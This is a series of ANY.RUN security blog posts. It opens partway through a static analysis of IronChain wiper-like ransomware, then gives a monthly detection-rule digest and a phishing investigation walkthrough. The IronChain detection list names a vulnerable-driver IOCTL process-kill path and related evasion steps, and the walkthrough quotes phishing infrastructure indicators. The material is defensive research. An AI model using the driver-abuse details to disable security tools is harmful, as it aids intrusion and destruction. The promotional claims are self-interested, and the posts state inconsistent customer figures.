There is no recovered path that exports, stores, or sends the private component. Each file gets a fresh 32-byte AES key. IronChain wraps that key with RSA-OAEP, then applies two to seven randomized byte-mutation passes before AES-GCM encryption.

The mutation stage discards both the chosen shifts and the per-byte selection masks. Even possession of the missing RSA private key would reveal the mutated data, not necessarily the original bytes.

Large files are handled differently. IronChain encrypts the first 512,000 bytes, a random 51,200-byte middle section, and the final 512,000 bytes, leaving plaintext gaps between them. This can make files unusable while reducing processing time. Those gaps, backups, storage carving, or live-memory remnants may still help incident responders recover some data.

The encrypted output and supplied program artifacts do not contain enough information for deterministic, exact restoration. Payment therefore offers no technical guarantee of recovery. This supports classifying the build as wiper-like destructive malware with ransomware presentation.

Another Bug Narrows File Encryption

IronChain first walks common user folders such as Desktop, Documents, Downloads, Pictures, Videos, and Music. It submits files to a 48-worker pool. It then calls a function intended to build a wider target list covering Windows, application directories, AppData, and other drives.

That second function stores %SystemRoot% in local variable _rt, but immediately tries to read global variable rt. The global does not exist, so normal Python name lookup raises NameError.

Another broad handler catches the error and returns. Files already queued from user folders can still be processed, but the later explicit system/application list and non-C drives are normally skipped. The separate raw-disk thread starts earlier and is unaffected by this bug.

This is a useful reminder: a long feature list is not the same as a working feature list. Reverse engineering must follow control flow and data contracts, not just collect suspicious strings.

Network Evidence Needs Context

The sample contains cleartext requests to http://ip-api.com/json/ so the ransom interface can display a city and country. ANY.RUN recorded repeated requests from IronChain.exe.

The public session also associated repeated no-response requests to 103.224.182.251 with the sample.

That address is absent from the recovered Python bytecode. Passive records place it in shared Trellian/Above.com domain-parking infrastructure with many unrelated hostnames. There was no response, tasking, key exchange, Host header, or recovered command channel. It should not be labeled embedded IronChain C2, and co-hosted domains should not be clustered as malicious.

Other embedded destinations support flooding, route selection, and SSDP discovery. None establishes an operator-controlled command server.

Detection and Response

The strongest detection is the combined pattern, not one generic filename or shared IP. High-value signals include:

• SHA-256 09b550d66b7ce269fa577edcac54d6ba3e0f3cb5b660a2921b9372d37d52e254;
• extraction of all four driver resources from an unsigned or PyInstaller-hosted process;
• scheduled task IronChain_SYSTEM or service IronChainSecurity;
• kernel services BdApiUtil, STProcessMonitor, LenovoBootRepair, and ThrottleStop appearing together;
• Lenovo driver content written under the misleading name LenovoBootRepair.sys;
• \\.\BdApiUtil plus IOCTL 0x800024B4 and a four-byte PID;
• attempted requests 0xB822200C and 0x00222014, even when they fail;
• file marker CHAINED_6617-382+819=;
• IronChain.hta, IronChainBg.bmp, and %ProgramData%\IRONCHAIN\time.dat;
• recovery deletion, firewall shutdown, EventLog suppression, and raw access to \\.\PhysicalDrive0 in one short sequence.

The research package includes a YARA rule and four Sigma documents for these clusters. Defenders should test and tune them before production deployment. The IP 103.224.182.251 and ip-api.com should not be globally blocked based on this case alone.

If IronChain is suspected, isolate the host from networks and removable media, but avoid a routine reboot until responders assess boot-disk damage. Preserve memory, disk images, and unallocated space where policy permits. Rebuild from known-good media if raw writes may have succeeded.

Use Microsoft’s vulnerable-driver blocklist, the Defender ASR rule for abused drivers, WDAC or App Control policies, and Core Isolation Memory Integrity where compatible. Inventory the four driver families, accounting for legitimate installations.

Final Assessment

IronChain’s September build is ambitious but uneven. Broad exception handling accidentally keeps the main payload reachable. Four drivers are present, but only Baidu’s interface forms a coherent process-termination chain. The Safetica request is rejected by both control-code and length checks; the Lenovo device and protocol do not match, and the ThrottleStop operation is never called.

Its encryption is more troubling than polished. The program discards the RSA private component and the random mutation state needed for exact reversal. At the same time, a one-character variable error narrows ordinary file traversal. It is destructive code with ransomware theater, not evidence of a dependable decrypt-for-payment service.

There is no evidence here of a zero-day, a named threat actor, a nation-state link, a verified victim, or a working C2 server. There is also no runtime proof that a driver loaded, a process was killed, or a disk write succeeded. Keeping those boundaries visible makes the useful findings stronger: one exact kernel kill path, three broken or unused integrations, continued payload reachability, and a recovery design that fails by construction.

How Organizations Can Reduce the Risk from IronChain

IronChain combines destructive file handling, kernel-level components, persistence, and a recovery design that may leave encrypted data permanently inaccessible. Reducing the damage requires visibility before execution, enough threat context to find related activity, and fresh indicators that can be pushed into existing security controls.

Analyze Suspicious Files Before They Reach Production

Unknown executables, archives, and scripts should be investigated in an isolated environment before they are allowed onto business systems. Malware analysis for banks is particularly important when a suspicious file can reach systems supporting payments, customer data, or other critical operations.

With IronChain, early analysis can reveal dropped drivers, scheduled tasks, persistence attempts, file changes, process activity, and network connections before analysts have to deal with the same behavior on a production endpoint.

ANY.RUN’s Interactive Sandbox gives analysts a full view of the execution chain and helps them quickly identify the behaviors that matter most for containment.

This is especially important for samples like IronChain, where destructive activity may leave little room for recovery once execution has progressed far enough.

Use Threat Intelligence to Find the Wider IronChain Footprint

The main ransomware executable is only one indicator. IronChain also gives defenders hashes, dropped drivers, filenames, infrastructure, and behavioral artifacts that can be used to search for related activity.

ANY.RUN Threat Intelligence Lookup lets analysts pivot from one of these indicators to connected samples, domains, IP addresses, URLs, and historical observations.

That can help answer a much bigger question during an investigation: is this one infected endpoint, or part of activity already visible elsewhere in the environment or across other incidents?

Analysts can also use recurring driver hashes, filenames, or infrastructure patterns to build stronger hunting queries and connect activity that may initially look unrelated.

Push Fresh IronChain Indicators into Existing Controls

IronChain indicators can change as new builds and infrastructure appear. Relying only on manually maintained blocklists can leave detection gaps between one incident and the next.

ANY.RUN Threat Intelligence Feeds can deliver fresh malicious IPs, domains, URLs, hashes, and other IOCs directly into SIEM, EDR, firewalls, and other security tools. For threat detection for financial institutions, this helps security teams apply intelligence from newly observed attacks across existing controls without relying on analysts to manually transfer every indicator.

This gives security teams a way to turn what is learned from one IronChain investigation into broader protection across the environment, without waiting for analysts to manually transfer every new indicator.

Watch Closely for Drivers and SYSTEM-Level Persistence

IronChain’s September build contains four kernel drivers and creates a scheduled task with SYSTEM privileges. New or unexpected drivers, services, and privileged scheduled tasks should receive immediate attention during triage.

Catching those changes early can help defenders isolate the endpoint before destructive activity reaches more files, connected systems, or shared resources.

Keep Recovery Independent from the Attacker

IronChain’s recovery design provides no technical guarantee that encrypted files can be restored. Organizations should maintain tested, isolated backups and confirm that critical systems can be recovered without relying on ransom payment or attacker-provided tooling.

Recovery plans should also define which systems need to return first, how long restoration is expected to take, and whether backup infrastructure itself is protected from compromised endpoints.

Together, these workflows make ANY.RUN for finance useful across malware triage, incident investigation, threat hunting, and earlier detection of malicious infrastructure that may affect critical financial systems.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This helps teams investigate threats faster, make more confident response decisions, and contain malicious activity before it creates wider business impact.

IOCs

Primary hashes and artifacts:

This research used static artifacts only. We did not execute, import, emulate, debug, fuzz, or detonate the sample. We did not load its drivers, issue their control requests, perform destructive file operations, or contact destinations found in the malware. Behavioral screenshots in this article come from a pre-existing public ANY.RUN sandbox session, not a new execution by the author. Malware should be handled only in an isolated environment by trained analysts.

The post IronChain Ransomware Threatens Businesses with Permanent Data Loss and Costly Downtime appeared first on ANY.RUN's Cybersecurity Blog.

These updates provide SOC and MSSP teams with additional evidence during investigations, helping analysts identify malicious activity faster, validate alerts with greater confidence, and streamline the investigation of suspicious behavior.

Let’s take a closer look at the latest threat coverage and research from September.

Threat Intelligence Reports

In September, we published two new Threat Intelligence Reports covering the IronToll Phishing-as-a-Service (PhaaS) platform and the CSuite phishing operation.

Available to TI Lookup Premium subscribers, the reports provide security teams with actionable intelligence, including indicators of compromise, detection insights, behavioral characteristics, and techniques that can support threat hunting and incident response.

The September reports cover:

• IronToll: A phishing platform used across multiple countries that imitates government websites for fines and fees to capture payment-card information. The platform connects victims with a live operator through a WebSocket-based panel, allowing attackers to interact with sessions in real time and request additional information, such as OTP codes or card details, when needed.

• CSuite: A multi-stage phishing and remote-access campaign targeting organizations across the US and Europe. The operation uses familiar business services and platforms, including Adobe, DocuSign, Zoom, SharePoint, and Microsoft 365 voicemail, to make its campaigns appear legitimate and engage potential victims.

New Behavior Signatures

September’s 76 new behavior signatures cover a range of threats that can appear during day-to-day malware investigations, including loaders, stealers, RATs, ransomware, and mobile threats.

The expanded coverage spans Windows, Linux, macOS, and Android, giving analysts additional context from behavior observed during Interactive Sandbox analysis.

The new detonations include:

By highlighting malicious behavior directly in sandbox sessions, these signatures help SOC and MSSP teams validate alerts, investigate suspicious samples, and move toward response with clearer evidence.

New YARA Rules

The September update adds 16 new YARA detections designed to identify malicious patterns across files and processes.

Together with behavior signatures and network-based detections, the new YARA coverage provides another layer of evidence for classifying suspicious samples and supporting faster malware investigations.

New Suricata Rules

September also added 1,098 new Suricata rules, extending network-level detection across malicious traffic, phishing activity, and command-and-control communications. The new rules include detections for several recent threats and campaigns, such as:

• Gh0stRAT inbound TCP activity (SID: 84004588): Detects live C2 responses from Gh0stRAT following an implant’s TCP check-in.

• Wazza Phishkit HTTP activity (SID: 84004715): Tracks HTTP activity associated with a recently emerged phishing kit that uses the Device Code flow.

• Sailor PhaaS related URL pattern (SID: 85008428): Detects URL patterns associated with an active, Chinese-backed PhaaS framework used for large-scale payment information theft and credential harvesting.

Together, these rules provide additional network-level indicators that can help analysts identify suspicious communications and connect them to specific malware and phishing activity during analysis.

Latest Threat Research

ANY.RUN researchers also published new investigations into active malware and phishing campaigns during September. The research provides practical detection insights, behavioral observations, and indicators that can support threat hunting and incident response.

• CSuite: An investigation into a multi-stage phishing and remote-access operation targeting organizations across the US and Europe, combining Microsoft 365 session theft, device-code phishing, and legitimate remote-management tools to compromise accounts and endpoints.

• HVNC Backdoor: An investigation into a custom HVNC backdoor targeting organizations across Latin America through fake tax documents, DocuSign lures, and banking-themed phishing, revealing capabilities for hidden remote access, persistence, keystroke monitoring, and browser data theft.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by more than 16,000 organizations worldwide, including 74% of the Fortune 100.

The company’s Interactive Sandbox enables security teams to examine suspicious files, URLs, and phishing activity in real time, while Threat Intelligence helps analysts investigate related threats, identify connections between campaigns, and add context to their findings.

Together, these capabilities help security teams investigate suspicious activity more efficiently, improve detection and response workflows, and act on threats with greater confidence.

The post Threat Coverage Digest: New Malware Reports and 1,100+ Detection Rules appeared first on ANY.RUN's Cybersecurity Blog.

Every manual step adds time to the response. It also ties up analyst capacity in work that could be spent investigating and containing real threats.

ANY.RUN’s latest product updates are designed to close these gaps as one connected workflow, rather than as separate features. Together, they help teams move from detection to investigation, response, and proactive defense while keeping evidence and context connected throughout the process.

Phishing Remains a High-Volume, High-Cost SOC Problem

Phishing isn’t just another alert category competing for analysts’ attention. In several critical industries, it shows up in more than 70% of investigations: ANY.RUN’s 2026 data puts phishing exposure at 73.4% in finance and 72.2% in manufacturing.

And the consequences extend far beyond the inbox. Microsoft Incident Response found that 28% of the breaches it investigated started with phishing or social engineering, including newer techniques such as device code phishing.

The financial stakes are just as hard to ignore. In 2025, the FBI received 191,561 phishing and spoofing complaints, while Business Email Compromise alone generated $3.05 billion in reported US losses.

For SOC teams, that combination means high investigation volume, increasingly evasive attacks, and very little room for slow decisions.

Finding a suspicious email or URL is only the beginning. Analysts still need to understand what happened, collect enough evidence to act, pass the case to the right team, and make sure the same threat is easier to catch next time.

For financial services cybersecurity teams, this level of phishing activity creates constant pressure on investigation capacity. Faster validation helps analysts identify credential theft and account compromise attempts before they disrupt critical banking operations.

What Faster Phishing Response Looks Like

With phishing showing up in such a large share of SOC investigations, simply putting more analyst time into every suspicious URL is not a sustainable answer.

The bigger opportunity is to cut the manual work between detection, investigation, response, and follow-up. That is the idea behind several of ANY.RUN’s latest product updates: give analysts more of the evidence they need upfront, make the handoff easier, and turn each investigation into a starting point for proactive defense.

Without a structured workflow, phishing investigations can become fragmented, with analysts switching between validation, reporting, escalation, and follow-up research.

With the 3-step approach, those activities connect into one continuous process, so evidence moves forward with the case and each investigation contributes to broader SOC visibility and future detection.

3 Steps from Phishing Detection to Faster Response and Stronger Defense

For this walkthrough, we’ll use a modern phishing attack with the following execution chain:

Cloudflare CAPTCHA → Phishing document lure → Device Code Phishing (EvilTokens)

EvilTokens is a phishing-as-a-service platform that abuses Microsoft’s legitimate device code authentication flow to steal session tokens and gain access to accounts. Its campaigns can combine CAPTCHA gates, redirects, legitimate cloud services, and dynamic phishing pages, which makes the attack harder to judge from the original URL alone and creates extra work for SOC analysts trying to piece together what actually happened.

The full attack is captured in this ANY.RUN sandbox session

Now let’s follow the investigation through the three steps of the phishing response workflow.

Step 1: Accelerate Triage with Full Attack Visibility Using SSL Decryption and In-Browser Data Inspection

The first problem SOC teams face is getting enough evidence to make a confident decision quickly.

That becomes harder with modern phishing, where the activity that matters may sit behind encrypted HTTPS traffic, redirects, CAPTCHA gates, scripts, and browser changes. A suspicious URL alone rarely tells the whole story.

So, the first step is to expose as much of the attack as possible without forcing the analyst to reconstruct it manually across several tools.

In the EvilTokens case, the suspicious URL is opened in ANY.RUN’s Interactive Sandbox. As the attack unfolds, the Network section records the web requests made by the browser, including traffic that was originally encrypted over HTTPS.

This shows where the phishing page connects, which resources it loads, and what happens in the background while the victim interacts with the page.

Analysts can then open the Content view to inspect individual request-response pairs and look for suspicious patterns. In this case, one of the requests is:

GET hxxps[://]preponacrea[.]com/est/js/main[.]js

This is where SSL Decryption without MITM changes the investigation. ANY.RUN extracts encryption keys directly from process memory, making HTTPS traffic available for inspection, Suricata rules, signatures, and IOC extraction, without setting up a separate MITM proxy or replacing certificates.

These capabilities also support malware analysis for banks, where analysts need to examine suspicious attachments, malicious scripts, and phishing redirects to identify threats targeting employee accounts and financial systems.

Network traffic, however, is only one side of the attack. The next part of the investigation happens in our newly added Browser Data section.

Here, analysts can follow the redirect chain leading to the phishing page and inspect what changes inside the browser as the attack progresses, including HTTP requests, DOM changes, iframes, screenshots, and other page activity.

Together, SSL Decryption without MITM + In-Browser Data Inspection give the analyst both sides of the attack: what happens on the network and what happens inside the browser.

Instead of digging through hundreds of web-log entries, opening PCAPs separately, and manually rebuilding the redirect chain, Tier 1 gets the evidence needed for validation in one analysis.

Step 1 SOC outcomes:

• More phishing cases resolved at Tier 1
• Higher analyst throughput without increasing headcount
• Less time lost rebuilding browser and traffic activity
• Faster confidence on whether a case needs action

Step 2: Improve Escalation & Response with AI-Powered Tier 1 Reports

Confirming that a phishing attack is malicious does not finish the analyst’s job.

The technical findings still need to become something another person can act on: what happened, why the activity is malicious, which indicators matter, and what should happen next.

Without that context, Tier 2 or incident response may have to reopen the original analysis, review the evidence again, and rebuild parts of the case before making a decision.

That reporting burden is still highly manual across SOCs. According to the SANS SOC Survey 2025, 69% of SOCs create metrics manually or mostly manually, while nearly half describe the process as very time-consuming.

At this stage, the goal is to move from technical analysis to a response-ready decision without writing the case from scratch.

For the EvilTokens analysis, Tier 1 reports bring the key findings into one structured view.

See the Tier 1 report for this analysis

The report gives the next responder the information needed to quickly understand the case, including:

• The analysis verdict and relevant threat or campaign tags
• An AI Summary explaining what happened during the session
• Key IOCs and technical events that can support blocking or hunting
• AI Recommendations with actions the team can consider next

Instead of translating raw sandbox output into another incident summary by hand, the analyst gets a ready-to-share view of the case.

For Tier 1, that makes it easier to answer the three questions that matter before escalation: What happened? Why is it malicious? What should happen next?

The same context can then be passed to Tier 2, IR, or an MSSP customer without asking them to start from the raw analysis again.

Step 2 SOC outcomes:

• Fewer unnecessary Tier 1 → Tier 2 escalations
• More senior analyst time preserved for complex incidents
• Clearer handoffs with evidence already packaged
• Shorter path from investigation to containment

Step 3: Move to Proactive Defense with Threat Intelligence

Closing the original phishing alert solves the immediate incident. It does not tell the SOC how far the threat extends.

Attackers rotate domains, IPs, and other infrastructure quickly, which means individual IOCs can lose value fast. Once the threat is confirmed, the next step is to look for patterns that can reveal related activity and support hunting, blocking, and new detections.

In the EvilTokens case, the sandbox analysis already gives analysts a useful starting point: the HTTP endpoints used during the device code phishing flow.

For example:

/api/device/start
/api/device/status/

These patterns can be taken into ANY.RUN’s Threat Intelligence Lookup to find other analyses where the same behavior appears.

View the EvilTokens query in TI Lookup

But finding matching analyses is only the first step. The new Connections view brings the network artifacts from those results together and shows how URLs, domains, IPs, and other indicators relate to one another.

Instead of comparing indicators across separate results one by one, analysts can pivot through the relationships and move from a single IOC to a testable hypothesis about related infrastructure.

This is especially useful for retrohunting in SIEM or NDR data and for passing relevant findings to detection engineering.

Connections also help analysts distinguish useful indicators from shared infrastructure. An IP associated with Cloudflare, for example, may appear in a malicious analysis but should not automatically become a blocking candidate. Filters help narrow the view to the relationships that matter and reduce the risk of pushing noisy or widely shared infrastructure into production defenses.

Threat Intelligence Lookup also adds context around the wider threat landscape, including geography and targeted industries, which can support threat hunting, research, and reporting.

This industry-specific context also strengthens threat detection for financial institutions by helping SOC teams prioritize phishing infrastructure and attack patterns observed in their sector, then use those findings to guide threat hunting and detection engineering.

Step 3: SOC outcomes

• Each investigation produces intelligence the SOC can reuse
• Faster discovery of related infrastructure and attack activity
• More IOCs available for hunting, blocking, and enrichment
• Broader detection coverage beyond the original incident

What One Phishing Investigation Can Deliver with ANY.RUN’s New Capabilities

Starting with a single phishing URL, the SOC can get much more than a malicious verdict. In this case, the investigation produced:

• Complete picture of the attack: The execution chain, decrypted HTTP requests and responses, redirect path, and browser changes observed as the phishing page loaded.
• Response-ready Tier 1 report: The verdict, key findings, IOCs, AI-generated summary and recommendations, and the context needed for escalation and response.
• Wider view of the threat: Related analyses, infrastructure, and connections that help analysts understand how far the activity extends beyond the original URL.

Without these capabilities, the same investigation could require separate traffic analysis, browser inspection, threat intelligence research, and incident reporting, with analysts moving findings between each stage themselves.

That difference becomes much more important at scale. When a SOC or CSIRT handles hundreds or thousands of incidents, time spent rebuilding context for every case quickly adds up.

The Business Impact of Faster Phishing Response

Faster phishing response is not only an analyst productivity win. It directly affects SOC capacity, escalation costs, and how long the business stays exposed to a confirmed threat.

ANY.RUN customers have reported 20% less Tier 1 investigation time, 30% fewer Tier 1-to-Tier 2 escalations, and 21 minutes cut from MTTR. For security leaders, that means more cases handled by the existing team, less senior analyst time spent on routine work, and faster containment when an attack is real.

With updates such as SSL Decryption and In-Browser Data Inspection, Tier 1 reports with AI insights, and Connections in TI Lookup, it becomes easier to carry the same investigation from triage to response and proactive defense without adding more manual steps.

For security teams using ANY.RUN for finance, these improvements mean faster investigation of suspicious banking-related activity, fewer unnecessary escalations, and more analyst capacity to respond to threats targeting critical financial operations.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by 700,000+ cybersecurity professionals across 16,000+ organizations worldwide, including 64% of the Fortune 500.

Its Interactive Sandbox helps SOC teams safely investigate suspicious files, URLs, phishing pages, and malware while watching the attack unfold in real time. Analysts can inspect browser activity, decrypted network traffic, processes, redirects, and other behavior to validate threats faster and collect evidence for response.

ANY.RUN’s Threat Intelligence Lookup turns data from real-world sandbox investigations into context for threat hunting, detection, and incident response. Analysts can pivot from individual indicators to related infrastructure and activity, while Threat Intelligence Feeds continuously deliver newly observed IOCs into existing security systems.

The post Phishing Response Protocol: 3 Essential SOC Steps Powered by ANY.RUN’s Latest Updates appeared first on ANY.RUN's Cybersecurity Blog.